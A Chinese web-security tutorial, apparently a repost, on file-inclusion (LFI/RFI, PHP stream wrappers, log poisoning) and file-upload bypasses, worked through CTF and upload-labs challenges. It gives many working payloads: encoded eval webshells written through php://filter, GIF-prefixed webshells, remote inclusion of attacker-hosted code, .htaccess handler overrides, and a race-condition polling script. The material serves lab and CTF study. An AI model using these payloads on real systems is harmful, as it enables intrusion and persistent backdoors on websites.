WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计

Posted @墨竹

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计相关的知识,希望对你有一定的参考价值。

目录

知识概要

1、解释

2、实现漏洞的三种方式

3、本地包含LFI&远程包含RFI-区别

4、各类脚本语言包含代码写法

思路点

黑盒发现

白盒发现

CTF案例演示

CTF-78-php&http协议

CTF-79-data&http协议

CTF-80&81-日志包含

CTF-87-php://filter/write&加密编码


知识概要

1、解释

什么是文件包含:

将其他文件直接包含在本页代码中。

文件包含漏洞:

当包含函数的内容是一个变量的话,那么可以通过控制变量包含带有后门的文件就实现了文件包含漏洞。

2、实现漏洞的三种方式

1、配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发

2、配合日志文件进行getshell,日志会记录访问得UA信息,修改UA信息并改为后门代码,包含日志路径并执行后门代码

3、配合会话(session)文件进行getshell。

        session的参考资料: session包含 - lnterpreter - 博客园

4、利用伪协议:php伪协议参考资料

        使用伪协议的条件:

                1、使用伪协议包含文件的函数中只能有变量,不能连接其他路径

                2、查看伪协议的开关是否开启

3、本地包含LFI&远程包含RFI-区别

LFI:只能包含本地

RFI:可以远程加载

具体形成原因由代码和环境配置文件决定

4、各类脚本语言包含代码写法

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

思路点

黑盒发现

主要观察参数传递的数据和文件名是否对应。如果url中有变量接受文件名,尝试给变量赋值其他文件名,要是可以正常显示证明有包含文件漏洞

白盒发现

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

CTF案例演示

CTF-78-php&http协议

payload: ?file=php://input post:<?php system('tac flag.php');?>

源码显示位直接获取文件并直接进行包含

直接利用input伪协议和post访问直接获取flag

 

 

CTF-79-data&http协议

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

该关过滤php,那么直接利用远程包含即可并在远程包含的文件上写入获取flag的代码

 

 

CTF-80&81-日志包含

注意:81与80方法相同,所以值演示80

利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

该关过滤了php,data并且禁用了文件包含漏洞

 

该关使用日志文件,通过查看信息发现中间件的类型nignx。同时搜索日志文件发现可以进行包含

 

 直接访问页面,利用将UA改为获取flag代码,访问日志文件获取flag即可

 

 

 

 

CTF-87-php://filter/write&加密编码

1、利用base64写入文件:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

加解密: Rot13密码 - Rot13 Cipher - 在线工具网

 

 

CTF-88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

 

 

 

 

CTF-117-php://filter/write&新的算法 

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

执行下面PHP代码通过第一次的反转获取payload所加密的php文件内容

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');

echo "经过一次反转:".$result."\\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

 

 

 

 

 

web安全文件上传解析漏洞&条件竞争&2次渲染

一、检测内容-图片后门&二次渲染

Pass-14 图片后门
这里查看源码只允许jpg、png、gif类型文件上传,通过读取上传文件内容开头的两个字节,进行判断。 图片马无法字节解析,需要配合其他漏洞,如文件包含漏洞。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

绕过
一句话木马开头添加GIF头,如:

GIF89a
 <?php @eval($_POST[pass]);?>

或者生成图片马:

copy 1.jpg/b + 1.php/a 2.jpg

上传完事后文件包含康康
在这里插入图片描述
在这里插入图片描述
文件上传和解析成功

Pass17 二次渲染
二次渲染:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

这里先上传正常GIF图片,然后与原始的GIF图片进行对比,发现上传后的图片原始数据经过渲染后大小变小
在这里插入图片描述
用010 Editor十六进制编辑工具同时打开原始的GIF和渲染后的GIF,把渲染后的GIF的数据放在原始的GIF处并插入一句php代码,再进行上传
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
可以看到成功解析phinfo代码

二、代码逻辑-单次过滤&条件竞争

Pass11 单次过滤
这里查看源代码,定义了很多黑名单,发现在只要黑名单里面的文件后缀就会单次过滤为空,所以可以通过1.pphphp双写进行绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
绕过成功

Pass18 条件竞争
条件竞争:在Web安全中,大致就是检测文件后缀,不符合条件,就删除。这种方式。所以我们使用多线程并发去访问该文件。总会碰到在删除文件这个时间段之前访问到PHP文件。一旦成功访问,就说明写了一个Shell。 攻击流程逻辑大概是这样。上传shell-不断访问shell.php shell生成马.php–删除shellp.php

查看源码,它这里逻辑是先移动保存文件后过滤,所以这里就存在了条件竞争问题,在它没有删除之前先访问到,在文件上传的时候不断访问文件进行一个写入的操作
在这里插入图片描述
再看这段php,大致意思就是访问到这个代码,就会写入shell.php一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>

完事之后进行上传抓包
在这里插入图片描述
接着使用python脚本去不停访问cmd.php,一直到成功为止。

import requests
url = "http://192.168.111.128/upload-labs-master/upload/cmd.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

在这里插入图片描述
在这里插入图片描述
这里成功的访问到了cmd.php,并生成了x.php一句话木马

三、解析安全-格式变异&中间件解析

Pass03 php5绕过
在这里插入图片描述
可以看到上传成功,再利用解析漏洞即可

Pass04 .htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,一般.htaccess可以用来留后门和针对黑名单绕过

//.htaccess内容
<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这样就能把shell.jpg解析成php

Nginx 文件名逻辑漏洞(CVE-2013-4547)
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
官网地址:https://vulhub.org/

在这里插入图片描述
然后来到那个目录输入下面两个命令即可

docker-compose build //重构
docker-compose up -d  //开启
docker-compose down //关闭

在这里插入图片描述
由于内个靶场下载的实在太慢,我直接转向了buuctf,参考:https://blog.csdn.net/qq_36241198/article/details/115242982
在这里插入图片描述
Nginx 解析漏洞
nginx解析漏洞因为用户配置不当造成的漏洞。

1.jpg/.php、1.jpg/.php,1.jpg会被当成php格式解析,nginx和iis7.x解析漏洞类似,都是加上/.php后文件以php格式解析。配置文件vim /etc/php5/fpm/php.ini、vim /etc/php5/fpm/pool.d/www.conf,关键配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。

参考:https://blog.csdn.net/qq_36241198/article/details/115104244
在这里插入图片描述
IIS 解析漏洞
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于 目前只适用于Windows系统,不适用于其他操作系统。

IIS 6.x
基于文件名:
该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。

基于文件夹名:
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。

IIS 7.x
IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文

IISPUT任意文件写入
IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入

四、buuctf文件上传练习

[ACTF2020 新生赛]Upload
1.MIME绕过
2.黑名单phtml绕过
在这里插入图片描述
在这里插入图片描述
[GXYCTF2019]BabyUpload
1.MIME绕过先上传 .htaccess

<FilesMatch "11.png">

SetHandler application/x-httpd-php

</FilesMatch>

2.再上传GIF一句话木马

GIF89a?
<script language="php">eval($_POST['a']);</script>

在这里插入图片描述
.htaccess就是将图片解析为php类型文件

[极客大挑战 2019]Upload
1.MIME绕过,phtml后缀绕过
2.再上传GIF一句话木马

GIF89a?
<script language="php">eval($_POST['a']);</script>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

以上是关于WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计的主要内容,如果未能解决你的问题,请参考以下文章

PHP文件包含漏洞攻防实战(allow_url_fopenopen_basedir)

攻防世界ics-4

攻防世界: web favorite-number

攻防世界-web-高手进阶区003-php_rce

WAF攻防漏洞发现协议代理池Goby&Awvs&Xray

web安全文件上传解析漏洞&条件竞争&2次渲染